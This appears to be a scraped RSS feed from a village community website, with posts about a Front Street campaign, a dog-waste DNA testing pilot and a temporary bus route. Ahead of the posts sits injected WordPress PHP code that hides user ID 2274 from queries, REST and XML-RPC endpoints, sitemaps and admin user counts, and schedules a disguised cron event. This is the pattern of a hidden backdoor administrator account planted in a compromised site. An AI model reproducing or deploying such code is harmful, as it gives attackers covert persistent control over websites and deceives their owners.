add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2274;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2274 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2274 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2274;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2274;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2274;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2274(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2274;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Save Our Front Street appeared first on Leadgate Village.
]]>The post Save Our Front Street appeared first on Leadgate Village.
]]>The post Dog Poo D.N.A. appeared first on Leadgate Village.
]]>DNA tests to track down dog owners who don’t scoop up their pet’s mess

POODUNNIT
by Imogen Robinson
Pet owners who fail to clean up their dog’s mess in parks are now at risk of being collared by DNA testing.
In the first scheme of its kind in Britain, people are registering to have a sample of their pooch’s DNA taken and put on a database.
Dog poo that is not scooped up from parks will be collected and tested. If it matches any registered pet, the owner will be traced and warned they face punishment.
The three-month pilot scheme began on Friday 22nd January 2016 and is being run by the council in the aptly-named East London borough of Barking and Dagenham.
Council leader Darren Rodwell said: “It’s about asking considerate dog owners to register their pet’s DNA so we can wipe out dog mess”. Council tenants will be forced to join the scheme under changes to housing agreements.
It is voluntary for other dog owners at the moment. As an incentive, the first 100 registrations will be free.
Garry Downie, of PooPrints UK, the team taking the samples and testing the muck, said: “Dog DNA registration has been proven in other countries to reduce uncollected dog waste by up to 95%.
Bring it on!
The post Dog Poo D.N.A. appeared first on Leadgate Village.
]]>The post Temporary Traffic and Bus Route appeared first on Leadgate Village.
]]>
Well the Council has started to take down the bollards next to the cricket club in readiness for theĀ rerouting of traffic including the V6 (Midi Bus service) through Front Street Leadgate and then via Bradley Shops Industrial Estate,
British Telecom will be finished testing their telecom and fiber optic broadband lines this week in readiness for the traffic to start using the Bradley Shops route via Garden Place.As the Cricket season finishes on Saturday 12/09/2015 there should be no worry of traffic not getting through because of parked vehicles during home match’s.
The Bus service starts on Monday 14/09/2015 and will be open to local traffic (a weight restriction will be in force).
https://www.facebook.com/leadgatevillage
The post Temporary Traffic and Bus Route appeared first on Leadgate Village.
]]>